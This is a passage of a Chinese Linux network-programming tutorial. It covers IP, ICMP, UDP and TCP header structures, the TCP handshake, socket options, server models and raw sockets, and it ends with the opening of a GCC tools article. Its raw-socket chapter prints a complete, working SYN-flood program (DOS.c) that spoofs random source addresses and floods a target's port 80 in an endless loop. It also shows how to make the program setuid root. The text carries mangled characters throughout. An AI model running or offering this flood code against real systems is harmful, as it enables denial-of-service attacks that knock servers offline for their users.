u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP
協議的版本號,這裏是4,如今IPV6已經出來了
ip_hlIP
包首部長度,這個值以4字節爲單位.IP協議首部的固定長度爲20個字節,若是IP
沒有選項,那麼這個值爲5.
ip_tos
服務類型,說明提供的優先權.
ip_len
說明IP數據的長度.以字節爲單位.
ip_id
標識這個IP數據包.
ip_off
碎片偏移,這和上面ID一塊兒用來重組碎片的.
ip_ttl
生存時間.沒通過一個路由的時候減一,直到爲0時被拋棄.
ip_p
協議,表示建立這個IP數據包的高層協議.TCP,UDP協議.
ip_sum
首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst
發送者和接收者的IP地址
關於IP協議的詳細狀況,請參考 RFC791
7.3 ICMP
協議
ICMP
是消息控制協議,也處於網絡層.在網絡上傳遞IP數據包時,若是發生了錯誤,那麼就
會用ICMP協議來報告錯誤.
ICMP
包的結構以下:
0 8 16 32
---------------------------------------------------------------------
|
類型 | 代碼 | 校驗和 |
--------------------------------------------------------------------
|
數據 | 數據 |
--------------------------------------------------------------------
ICMP
<netinet/ip_icmp.h>;中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關於ICMP協議的詳細狀況能夠查看 RFC792
7.4 UDP
協議
UDP
協議是創建在IP協議基礎之上的,用在傳輸層的協議.UDPIP協議同樣是不可靠的數
據報服務.UDP的頭格式爲:
0 16 32
---------------------------------------------------
| UDP
源端口 | UDP目的端口 |
---------------------------------------------------
| UDP
數據報長度 | UDP數據報校驗 |
---------------------------------------------------
UDP
結構在<netinet/udp.h>;中的定義爲:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關於UDP協議的詳細狀況,請參考 RFC768
7.5 TCP
TCP
協議也是創建在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結
構比前面的結構都要複雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
|
源端口 | 目的端口 |
-------------------------------------------------------------------
|
序列號 |
------------------------------------------------------------------
|
確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|
首部長度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
|
校驗和 | 緊急指針 |
-----------------------------------------------------------------
|
選項 | 填充字節 |
-----------------------------------------------------------------
TCP
的結構在<netinet/tcp.h>;中定義爲:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source
發送TCP數據的源端口
dest
接受TCP數據的目的端口
seq
標識該TCP所包含的數據字節的開始序列號
ack_seq
確認序列號,表示接受方下一次接受的數據序列號.
doff
數據首部長度.IP協議同樣,4字節爲單位.通常的時候爲5
urg
若是設置緊急數據指針,則該位爲1
ack
若是確認號正確,那麼爲1
psh
若是設置爲1,那麼接收方收到數據後,當即交給上一層程序
rst
1的時候,表示請求從新鏈接
syn
1的時候,表示請求創建鏈接
fin
1的時候,表示親戚關閉鏈接
window
窗口,告訴接收者能夠接收的大小
check
TCP數據進行較核
urg_ptr
若是urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值
關於TCP協議的詳細狀況,請查看 RFC793
7.6 TCP
鏈接的創建
TCP
協議是一種可靠的鏈接,爲了保證鏈接的可靠性,TCP的鏈接要分爲幾個步驟.咱們把這
個鏈接過程稱爲"三次握手".
下面咱們從一個實例來分析創建鏈接的過程.
第一步客戶機向服務器發送一個TCP數據包,表示請求創建鏈接. 爲此,客戶端將數據包的
SYN
位設置爲1,而且設置序列號seq=1000(咱們假設爲1000).
第二步服務器收到了數據包,並從SYN位爲1知道這是一個創建請求的鏈接.因而服務器也
向客戶端發送一個TCP數據包.由於是響應客戶機的請求,因而服務器設置ACK1,sak_se
q=1001(1000+1)
同時設置本身的序列號.seq=2000(咱們假設爲2000).
第三步客戶機收到了服務器的TCP,並從ACK1ack_seq=1001知道是從服務器來的確認
信息.因而客戶機也向服務器發送確認信息.客戶機設置ACK=1,ack_seq=2001,seq=100
1,
發送給服務器.至此客戶端完成鏈接.
最後一步服務器受到確認信息,也完成鏈接.
經過上面幾個步驟,一個TCP鏈接就創建了.固然在創建過程當中可能出現錯誤,不過TCP協議
能夠保證本身去處理錯誤的.
說一說其中的一種錯誤.
據說過DOS?(可不是操做系統啊).今年春節的時候,美國的五大網站一塊兒受到攻擊.
擊者用的就是DOS(拒絕式服務)方式.歸納的說一下原理.
客戶機先進行第一個步驟.服務器收到後,進行第二個步驟.按照正常的TCP鏈接,客戶機
應該進行第三個步驟.
不過攻擊者實際上並不進行第三個步驟.由於客戶端在進行第一個步驟的時候,修改了自
己的IP地址,就是說將一個實際上不存在的IP填充在本身IP數據包的發送者的IP一欄.
樣由於服務器發的IP地址沒有人接收,因此服務端會收不到第三個步驟的確認信號,這樣
服務務端會在那邊一直等待,直到超時.
這樣當有大量的客戶發出請求後,服務端會有大量等待,直到全部的資源被用光,而不能再
接收客戶機的請求.
這樣當正常的用戶向服務器發出請求時,因爲沒有了資源而不能成功.因而就出現了春節
時所出現的狀況.
----------------------------------------------------------------------------

網絡編程(8)

8.
套接字選項
有時候咱們要控制套接字的行爲(如修改緩衝區的大小),這個時候咱們就要控制套接字的
選項了.
8.1 getsockopt
setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level
指定控制套接字的層次.能夠取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO
TO_IP:IP
選項. 3)IPPROTO_TCP:TCP選項.
optname
指定控制的方式(選項的名稱),咱們下面詳細解釋
optval
得到或者是設置套接字選項.根據選項名稱的數據類型進行轉換
選項名稱 說明 數據類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST
容許發送廣播數據 int
SO_DEBUG
容許調試 int
SO_DONTROUTE
不查找路由 int
SO_ERROR
得到套接字錯誤 int
SO_KEEPALIVE
保持鏈接 int
SO_LINGER
延遲關閉鏈接 struct linge
r
SO_OOBINLINE
帶外數據放入正常數據流 int
SO_RCVBUF
接收緩衝區大小 int
SO_SNDBUF
發送緩衝區大小 int
SO_RCVLOWAT
接收緩衝區下限 int
SO_SNDLOWAT
發送緩衝區下限 int
SO_RCVTIMEO
接收超時 struct timev
al
SO_SNDTIMEO
發送超時 struct timev
al
SO_REUSERADDR
容許重用本地地址和端口 int
SO_TYPE
得到套接字類型 int
SO_BSDCOMPAT
BSD系統兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL
在數據包中包含IP首部 int
IP_OPTINOS IP
首部選項 int
IP_TOS
服務類型
IP_TTL
生存時間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP
最大數據段的大小 int
TCP_NODELAY
不使用Nagle算法 int
=========================================================================
關於這些選項的詳細狀況請查看 Linux Programmer's Manual
8.2 ioctl
ioctl
能夠控制全部的文件描述符的狀況,這裏介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl
的控制選項
--------------------------------------------------------------------------
SIOCATMARK
是否到達帶外標記 int
FIOASYNC
異步輸入/輸出標誌 int
FIONREAD
緩衝區可讀的字節數 int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
--

網絡編程(9)

9.
服務器模型
學習過《軟件工程》吧.軟件工程但是每個程序員"必修"的課程啊.若是你沒有學習過
,
建議你去看一看. 在這一章裏面,咱們一塊兒來從軟件工程的角度學習網絡編程的思想.
在咱們寫程序以前, 咱們都應該從軟件工程的角度規劃好咱們的軟件,這樣咱們開發軟件
的效率纔會高. 在網絡程序裏面,通常的來講都是許多客戶機對應一個服務器.爲了處理
客戶機的請求, 對服務端的程序就提出了特殊的要求.咱們學習一下目前最經常使用的服務器
模型.
循環服務器:循環服務器在同一個時刻只能夠響應一個客戶端的請求
併發服務器:併發服務器在同一個時刻能夠響應多個客戶端的請求
9.1
循環服務器:UDP服務器
UDP
循環服務器的實現很是簡單:UDP服務器每次從套接字上讀取一個客戶端的請求,處理
,
而後將結果返回給客戶機.
能夠用下面的算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
由於UDP是非面向鏈接的,沒有一個客戶端能夠總是佔住服務端. 只要處理過程不是死循
, 服務器對於每個客戶機的請求老是可以知足.
9.2
循環服務器:TCP服務器
TCP
循環服務器的實現也不難:TCP服務器接受一個客戶端的鏈接,而後處理,完成了這個客
戶的全部請求後,斷開鏈接.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP
循環服務器一次只能處理一個客戶端的請求.只有在這個客戶的全部請求都知足後,
服務器才能夠繼續後面的請求.這樣若是有一個客戶端佔住服務器不放時,其它的客戶機
都不能工做了.所以,TCP服務器通常不多用循環服務器模型的.
9.3
併發服務器:TCP服務器
爲了彌補循環TCP服務器的缺陷,人們又想出了併發服務器的模型. 併發服務器的思想是
每個客戶機的請求並不禁服務器直接處理,而是服務器建立一個 子進程來處理.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP
併發服務器能夠解決TCP循環服務器客戶機獨佔服務器的狀況. 不過也同時帶來了一
個不小的問題.爲了響應客戶機的請求,服務器要建立子進程來處理. 而建立子進程是一
種很是消耗資源的操做.
9.4
併發服務器:多路複用I/O
爲了解決建立子進程帶來的系統資源消耗,人們又想出了多路複用I/O模型.
首先介紹一個函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
通常的來講當咱們在向文件讀寫時,進程有可能在讀寫出阻塞,直到必定的條件知足.
如咱們從一個套接字讀數據時,可能緩衝區裏面沒有數據可讀(通訊的對方尚未 發送數
據過來),這個時候咱們的讀調用就會等待(阻塞)直到有數據可讀.若是咱們不 但願阻塞
,
咱們的一個選擇是用select系統調用. 只要咱們設置好select的各個參數,那麼當文件
能夠讀寫的時候select"通知"咱們 說能夠讀寫了. readfds全部要讀的文件文件描述
符的集合
writefds
全部要的寫文件文件描述符的集合
exceptfds
其餘的服要向咱們通知的文件描述符
timeout
超時設置.
nfds
全部咱們監控的文件描述符中最大的那一個加1
在咱們調用select時進程會一直阻塞直到如下的一種狀況發生. 1)有文件能夠讀.2)有文
件能夠寫.3)超時所設置的時間到.
爲了設置文件描述符咱們要使用幾個宏. FD_SETfd加入到fdset
FD_CLR
fdfdset裏面清除
FD_ZERO
fdset中清除全部的文件描述符
FD_ISSET
判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd
>;maxfd) maxfd=readfd;
while(1)
{
/* 將全部的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd,*my_readfd);
/* 進程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西能夠讀了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd,&my_readfd))
{
/* 原來是我能夠讀了 */
we_read(readfd);
}
}
}
使用select後咱們的服務器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設置監聽讀寫文件描述符(FD_*);
調用select;
若是是傾聽套接字就緒,說明一個新的鏈接請求創建
{
創建鏈接(accept);
加入到監聽文件描述符中去;
}
不然說明是一個已經鏈接過的描述符
{
進行操做(read或者write);
}
}
多路複用I/O能夠解決資源限制的問題.着模型其實是將UDP循環模型用在了TCP上面.
這也就帶來了一些問題.如因爲服務器依次處理客戶的請求,因此可能會致使有的客戶
等待好久.
9.5 併發服務器:UDP服務器
人們把併發的概念用於UDP就獲得了併發UDP服務器模型. 併發UDP服務器模型實際上是簡單
.和併發的TCP服務器模型同樣是建立一個子進程來處理的 算法和併發的TCP模型同樣
..
除非服務器在處理客戶端的請求所用的時間比較長之外,人們實際上不多用這種模型.
9.6 一個併發TCP服務器實例
#include <sys/socket.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <string.h>;
#include <errno.h>;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s/n/a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 若是服務器終止後,服務器能夠第二次快速啓動而不用等待一段時間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s/n/a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s/n/a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進程處理客戶端的鏈接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s/n/a",strerror(errno));
close(accept_fd);
}
}
你能夠用咱們前面寫客戶端程序來調試着程序,或者是用來telnet調試
--

網絡編程(10)

10. 原始套接字
咱們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
裏面咱們一塊兒來學習另一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,咱們可
以編寫出由TCPUDP套接字不可以實現的功能. 注意原始套接字只可以由有root權限的
人建立.
10.1 原始套接字的建立
int sockfd(AF_INET,SOCK_RAW,protocol)
能夠建立一個原始套接字.根據協議的類型不一樣咱們能夠建立不一樣類型的原始套接字
:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的狀況查看 <netinet/in.h>;
面咱們以一個實例來講明原始套接字的建立和使用
10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裏咱們就一塊兒來編寫一個實現DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <netdb.h>;
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP建立一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由咱們本身來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才能夠使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置咱們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 咱們的數據包實際上沒有任何內容,因此長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本通常的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP數據包的頭部長度 **/
ip->;ip_tos=0; /** 服務類型 **/
ip->;ip_len=htons(head_len); /** IP數據包的長度 **/
ip->;ip_id=0; /** 讓系統去填寫吧 **/
ip->;ip_off=0; /** 和上面同樣,省點時間 **/
ip->;ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->;ip_p=IPPROTO_TCP; /** 咱們要發的是 TCP **/
ip->;ip_sum=0; /** 校驗和讓系統去作 **/
ip->;ip_dst=addr->;sin_addr; /** 咱們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要創建鏈接 **/
tcp->;check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裏來的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什麼都讓系統作了,也沒有多大的意思,仍是讓咱們本身來校驗頭部吧 */
/** 下面這條無關緊要 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
編譯一下,localhost作一下實驗,看看有什麼結果.(千萬不要試別人的啊). 爲了讓普
通用戶能夠運行這個程序,咱們應該將這個程序的全部者變爲root, 設置setuid
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和通常的套接字不一樣的是之前許多由系統作的事情,如今要由咱們本身來作了
.. 不過這裏面是否是有不少的樂趣呢. 當咱們建立了一個TCP套接字的時候,咱們只是負
責把咱們要發送的內容(buffer)傳遞給了系統. 系統在收到咱們的數據後,回自動的調用
相應的模塊給數據加上TCP頭部,而後加上IP頭部. 再發送出去.而如今是咱們本身建立各
個的頭部,系統只是把它們發送出去. 在上面的實例中,因爲咱們要修改咱們的源IP地址
,因此咱們使用了setsockopt函數,若是咱們只是修改TCP數據,那麼IP數據同樣也能夠由
系統來建立的.
--

網絡編程(11)

11. 後記
總算完成了網絡編程這個教程.算起來我差很少寫了一個星期,原來覺得寫這個應該是
一件 不難的事,作起來才知道原來有不少的地方都比我想象的要難.我還把不少的東西都
省略掉了 不過寫完了這篇教程之後,我好象對網絡的認識又增長了一步.
若是咱們只是編寫通常的 網絡程序仍是比較容易的,可是若是咱們想寫出比較好的網
絡程序咱們還有着遙遠的路要走. 網絡程序通常的來講都是多進程加上多線程的.爲了處
理好他們內部的關係,咱們還要學習 進程之間的通訊.在網絡程序裏面有着許許多多的突
發事件,爲此咱們還要去學習更高級的 事件處理知識.如今的信息愈來愈多了,爲了處理
好這些信息,咱們還要去學習數據庫. 若是要編寫出有用的黑客軟件,咱們還要去熟悉各
種網絡協議.總之咱們要學的東西還不少不少.
看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看咱們本身的
軟件水平你們就會知道了什麼叫作差距.咱們如今用的軟件有幾個是咱們中國人本身編
寫的.
不過你們不要懼怕,不用擔憂.只要咱們仍是清醒的,還可以認清咱們和別人的差距,
們就還有但願. 畢竟咱們如今還年輕.只要咱們努力,認真的去學習,咱們必定可以學好的
..咱們就能夠追上別人直到超過別人!
相信一點:
別人能夠作到的咱們同樣能夠作到,並且能夠比別人作的更好!
勇敢的年輕人,爲了咱們偉大祖國的軟件產業,爲了祖國的將來,努力的去奮鬥吧!祖國
會記住大家的!
hoyt
11.1 參考資料
<<實用UNIX編程>;>;---機械工業出版社.
<<Linux網絡編程>;>;--清華大學出版社.

9)LinuxC開發工具介紹

Linux的發行版中包含了不少軟件開發工具. 它們中的不少是用於 C C++應用程序開發
. 本文介紹了在 Linux 下能用於 C 應用程序開發和調試的工具. 本文的主旨是介紹如
何在 Linux 下使用 C 編譯器和其餘 C 編程工具, 而非 C 語言編程的教程.

GNU C 編譯器
GNU C 編譯器(GCC)是一個全功能的 ANSI C 兼容編譯器. 若是你熟悉其餘操做系統或硬
件平臺上的一種 C 編譯器, 你將能很快地掌握 GCC. 本節將介紹如何使用 GCC 和一些
GCC 編譯器最經常使用的選項.

使用 GCC
一般後跟一些選項和文件名來使用 GCC 編譯器. gcc 命令的基本用法以下:

gcc [options] [filenames]

相關文章
相關標籤/搜索